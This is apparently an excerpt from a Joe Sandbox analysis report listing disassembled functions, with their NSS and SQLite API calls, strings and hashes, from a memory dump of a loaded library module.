Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: memset
String ID: N$INDEX %d$MULTI-INDEX OR$SCAN CONSTANT ROW$abbreviated query algorithm search$at most %d tables in a join$gfff$too many arguments on %s() - max %d
API String ID: 2221118986-452224314
Opcode ID: 46d57a1064f405d30813c334d87daa8e1116999be7ca14a42b7f3ad563c2d627
Instruction ID: 69a03ba2b26950e7fd8ecf8604df883e26e9cef8da1c461e6f3d8ade68178737
Opcode Fuzzy Hash: 46d57a1064f405d30813c334d87daa8e1116999be7ca14a42b7f3ad563c2d627
Instruction Fuzzy Hash: 8FB35C746083518FD314CF29C490B5AB7F2FF89318F188A5DE9998B752D739E886CB42

Function 6CADA730 Relevance: 27.4, APIs: 18, Instructions: 378memorystringCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CADA778

Part of subcall function 6CAD14C0: TlsGetValue.KERNEL32 ref: 6CAD14E0
Part of subcall function 6CAD14C0: EnterCriticalSection.KERNEL32 ref: 6CAD14F5
Part of subcall function 6CAD14C0: PR_Unlock.NSS3 ref: 6CAD150D

Part of subcall function 6CADB990: PORT_NewArena_Util.NSS3(00000800,00000000,?,FFFFFFFF,?,6CADA78B,?), ref: 6CADB9A4
Part of subcall function 6CADB990: PORT_ArenaAlloc_Util.NSS3(00000000,00000014,?), ref: 6CADB9B5
Part of subcall function 6CADB990: PK11_HashBuf.NSS3(00000004,00000000,E4840FC0,89000000,?,?,?), ref: 6CADB9D9
Part of subcall function 6CADB990: PR_SetError.NSS3(FFFFE013,00000000,?,?,?), ref: 6CADB9EC
Part of subcall function 6CADB990: PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CADBA0A

Part of subcall function 6CADA3F0: PORT_ArenaMark_Util.NSS3(?), ref: 6CADA43E
Part of subcall function 6CADA3F0: PORT_ArenaMark_Util.NSS3(FFFFFFFF,?,?,?,?,?,?,00000000,?,-0000001C,?,6CADA7B5,?), ref: 6CADA457
Part of subcall function 6CADA3F0: PORT_ArenaAlloc_Util.NSS3(FFFFFFFF,00000018,?,?,?,?,?,?,?,00000000,?,-0000001C,?,6CADA7B5,?), ref: 6CADA464
Part of subcall function 6CADA3F0: SECOID_FindOIDByTag_Util.NSS3(000000A8,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C,?,6CADA7B5,?), ref: 6CADA48D
Part of subcall function 6CADA3F0: SECITEM_CopyItem_Util.NSS3(FFFFFFFF,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C), ref: 6CADA49F
Part of subcall function 6CADA3F0: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C), ref: 6CADA4B2

PORT_ArenaMark_Util.NSS3(?), ref: 6CADA7FC
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CADA891
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6CADA8AF
PORT_ArenaAlloc_Util.NSS3(?,00000038), ref: 6CADA8C0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CADA967
PK11_GetInternalKeySlot.NSS3 ref: 6CADA981
PK11_FindKeyByAnyCert.NSS3(00000000,?), ref: 6CADA9A1
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6CADA9DA
PORT_ArenaAlloc_Util.NSS3(?,00000028), ref: 6CADAA04
SECKEY_DestroyEncryptedPrivateKeyInfo.NSS3(?,00000001), ref: 6CADAA45
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CADAA70
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CADAAE3
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CADAB10
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CADAB7D
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CADABD8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CADAC0F

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Error$Arena_K11_Mark_$DestroyFindFreePrivate$Cert$CopyCriticalEncryptedEnterHashInfoInternalItem_SectionSlotTag_UnlockValuestrlen
String ID:
API String ID: 4141365096-0
Opcode ID: a5e75c3c82ce88f6a1b56181a4b9cbf5d445701cb3e1a43c968ce81e4fdca1db
Instruction ID: 89b4937b3f086a5ce5f12eb7992d5e5ab04196947455e8f6c13cc119f57edef1
Opcode Fuzzy Hash: a5e75c3c82ce88f6a1b56181a4b9cbf5d445701cb3e1a43c968ce81e4fdca1db
Instruction Fuzzy Hash: BFD1E775A043009FE700CF14D940BAB37A6AF8535CF1A8229F8598B761E731FD89CB92

Function 6CACA5E0 Relevance: 23.1, APIs: 15, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58152441a1fd8ca1ad2db1181782692c574d49d4092efd738ebb3fd11f4c9b06
Instruction ID: 0e0f912d32455899f2006fbb1ff39be4f6e8856c0b6011c7e3a16a8948e9a825
Opcode Fuzzy Hash: 58152441a1fd8ca1ad2db1181782692c574d49d4092efd738ebb3fd11f4c9b06
Instruction Fuzzy Hash: B9123D70F081584FDB258A2888913FD77F3AF4A318F2C82D9C5AA97A41D6354EC5CB93

Function 6CAA0570 Relevance: 22.8, APIs: 15, Instructions: 256memoryCOMMON

Download Yara Rule

APIs

PK11_HPKE_Deserialize.NSS3(?,?,?,00000000), ref: 6CAA05E3
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA060C
PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6CAA061A
PK11_PubDeriveWithKDF.NSS3 ref: 6CAA0712
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAA0740
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CAA0760
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CAA07AE
PK11_FreeSymKey.NSS3(?), ref: 6CAA07BC
PK11_FreeSymKey.NSS3(?), ref: 6CAA07D1
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAA07DD
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAA07EB
SECITEM_ZfreeItem_Util.NSS3(00000001,00000001), ref: 6CAA07F8
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CAA082F
memcpy.VCRUNTIME140(?,?,?), ref: 6CAA08A9
SECITEM_DupItem_Util.NSS3(?), ref: 6CAA08D0

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: K11_$Item_Util$ContextDestroyErrorFreeZfreememcpy$AllocCreateDeriveDeserializePublicWith
String ID:
API String ID: 657680294-0
Opcode ID: d7ae7a737037db71880f25deeb989c1075509bb28ba49c848b5ba133e71bc5cb
Instruction ID: bef42ac3a3f316c4bea66dee6ace1b34fca48d90a7bb4218fdd41e671bebde71
Opcode Fuzzy Hash: d7ae7a737037db71880f25deeb989c1075509bb28ba49c848b5ba133e71bc5cb
Instruction Fuzzy Hash: 6991C2B1A047409BE704CF65CD44B5B77F5AF8431CF18862CE99A8B791EB71D889CB82

Function 6CADEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CADC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CADDAE2,?), ref: 6CADC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CADF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CADF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CADF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CADF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CBA218C), ref: 6CADF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CADF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CADF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CADF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CADF210

Part of subcall function 6CA852D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CADF1E9,?,00000000,?,?), ref: 6CA852F5
Part of subcall function 6CA852D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CA8530F
Part of subcall function 6CA852D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CA85326
Part of subcall function 6CA852D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CADF1E9,?,00000000,?,?), ref: 6CA85340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CADF227

Part of subcall function 6CACFAB0: free.MOZGLUE(?,-00000001,?,?,6CA6F673,00000000,00000000), ref: 6CACFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CADF23E

Part of subcall function 6CACBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CA7E708,00000000,00000000,00000004,00000000), ref: 6CACBE6A
Part of subcall function 6CACBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CA804DC,?), ref: 6CACBE7E
Part of subcall function 6CACBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CACBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CADF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CADF3A8

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CADF3B3

Part of subcall function 6CA82D20: PK11_DestroyObject.NSS3(?,?), ref: 6CA82D3C
Part of subcall function 6CA82D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CA82D5F

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: c2294c6dcff8122188746be4347d2a50614e3d92f928fd059eb85b69b29812fc
Instruction ID: 95e1ba26ff8ac524aa918586cc28b711f406b69df71d6220c1aa5481ba127639
Opcode Fuzzy Hash: c2294c6dcff8122188746be4347d2a50614e3d92f928fd059eb85b69b29812fc
Instruction Fuzzy Hash: B5D15CB6E012059BEB04CFA9DD80A9FB7B5EF48308F1A812DD925A7711E731F885CB50

Function 6C9FECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C9FED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C9FEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C9FEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C9FEF98

Strings

%s at line %d of [%.10s], xrefs: 6C9FF492
database corruption, xrefs: 6C9FF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C9FF483

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: e8cfdcdd7225185a2ca15ddaaf70c91f65d4a87fdb1607ebfdf29514d07bd205
Instruction ID: dbbf1cdfae478252695ae2e54b654cab178bc728fea416ef2d0e7ef7bfd4aa6c
Opcode Fuzzy Hash: e8cfdcdd7225185a2ca15ddaaf70c91f65d4a87fdb1607ebfdf29514d07bd205
Instruction Fuzzy Hash: AA62F034A042458FEB04CF68C484BAEBBF5BF4532CF184199D8656BB92D775E887CB90

Function 6CAA0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CAA0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAA0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CAA1006
PK11_FreeSymKey.NSS3(?), ref: 6CAA101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAA1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAA103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CAA1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CAA108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAA10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CAA10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CAA112E

Part of subcall function 6CAA1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CAA08C4,?,?), ref: 6CAA15B8
Part of subcall function 6CAA1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CAA08C4,?,?), ref: 6CAA15C1
Part of subcall function 6CAA1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA162E
Part of subcall function 6CAA1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA1637

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: d88483a35f255e3be97a9825cc3e1bc85a4d559a60beda45599f9b58c817654e
Instruction ID: ee86ad5c33c470a91bc8ff5046a46f5834f0b7419e6cd20a0a8390db960765ba
Opcode Fuzzy Hash: d88483a35f255e3be97a9825cc3e1bc85a4d559a60beda45599f9b58c817654e
Instruction Fuzzy Hash: 5F71C1B5A00245DFDB00CFA5CD84A6AB7B5BF48318F18862DE61997711E731D98ACB81

Function 6CA5C650 Relevance: 16.5, APIs: 7, Strings: 2, Instructions: 760COMMON

Download Yara Rule

Strings

0123456789ABCDEF, xrefs: 6CA5D104
0123456789abcdef, xrefs: 6CA5C859

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEF$0123456789abcdef
API String ID: 0-885041942
Opcode ID: cd929bcbd6e9ec823462188dd2ff708b0b6b4f405cb2c9ab06ee5ddaf6b27b7c
Instruction ID: 885b7a22a7f218aa5bd8842d3191cb499ed242be0ea13804a249c207550b7c86
Opcode Fuzzy Hash: cd929bcbd6e9ec823462188dd2ff708b0b6b4f405cb2c9ab06ee5ddaf6b27b7c
Instruction Fuzzy Hash: EB5214746083018FD704DF28C45035ABBE2EF8A31CF98C92DE89587B59E735D896CB42

Function 6CB48550 Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 528stringCOMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000021B,recovered %d pages from %s,00000000,?), ref: 6CB485CC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB486CA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB4875F
memset.VCRUNTIME140(?,00000000,?), ref: 6CB4893A
sqlite3_free.NSS3(?), ref: 6CB48977
sqlite3_free.NSS3 ref: 6CB489A5
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB48B68
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB48B79

Strings

recovered %d pages from %s, xrefs: 6CB485C2

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@sqlite3_free$memsetsqlite3_logstrcmpstrlen
String ID: recovered %d pages from %s
API String ID: 1138475946-1623757624
Opcode ID: 5f23ab4fb8ae54ffda6b3bad1c01bb05e650f63b986092ee4cbbec54db059739
Instruction ID: b76ab4d2179e1b0120ad66c04794b174df2448217a14b107663908ae860d3221
Opcode Fuzzy Hash: 5f23ab4fb8ae54ffda6b3bad1c01bb05e650f63b986092ee4cbbec54db059739
Instruction Fuzzy Hash: E01239746083819FD704CF29C890A6BB7F5EF89308F04892EE99AC7755D732E845DB92

Function 6CAC6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA71C6F,00000000,00000004,?,?), ref: 6CAC6C3F

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CA71C6F,00000000,00000004,?,?), ref: 6CAC6C60
PR_ExplodeTime.NSS3(00000000,6CA71C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CA71C6F,00000000,00000004,?,?), ref: 6CAC6C94

Strings

gfff, xrefs: 6CAC6D30
gfff, xrefs: 6CAC6CFD
gfff, xrefs: 6CAC6CF5
gfff, xrefs: 6CAC6D66
gfff, xrefs: 6CAC6D9C

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: afe772f5af80fe26e360bde4ee1c6dfb9a769a79c19ce7e4803167e0d8d92808
Instruction ID: db76f97fdb1ceb5d445f134de693b82e6007a4eb146cee453c051473d401b3d7
Opcode Fuzzy Hash: afe772f5af80fe26e360bde4ee1c6dfb9a769a79c19ce7e4803167e0d8d92808
Instruction Fuzzy Hash: 82513B72B016494FC708CDADDC527EEB7DAABA4310F48C23AE442DB785D638E946C752

Function 6CB40F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CB41027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB410B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB41353

Strings

'%.*q', xrefs: 6CB41217, 6CB41292
-- , xrefs: 6CB40FF5
%lld, xrefs: 6CB4114B
zeroblob(%d), xrefs: 6CB41223
NULL, xrefs: 6CB4119E
%02x, xrefs: 6CB412F6
$, xrefs: 6CB412A0

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: acd91dd82fa19649039214b294d15f36c7d8f70ccd3775a9142fad88a6b93456
Instruction ID: fd959cb012bc9bc528f2ace79d45c2e1172f0530a3095f64425540e27311aa13
Opcode Fuzzy Hash: acd91dd82fa19649039214b294d15f36c7d8f70ccd3775a9142fad88a6b93456
Instruction Fuzzy Hash: B4E19B75A0C3809FD714CF18C480A6BBBF5EF86348F08892DE98587B59E771E859DB42

Function 6CB48FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB48FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB490DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB49118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB4915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB491C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB49209

Strings

3333, xrefs: 6CB4925E
UUUU, xrefs: 6CB49255

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 8127da2850751f40148396254b180c0fa549592bae4eb012c1489ad9627aecbb
Instruction ID: 190bb0e4ef614a01a85a94c403fe51655f17d7ea63533f15622ec059e97cc951
Opcode Fuzzy Hash: 8127da2850751f40148396254b180c0fa549592bae4eb012c1489ad9627aecbb
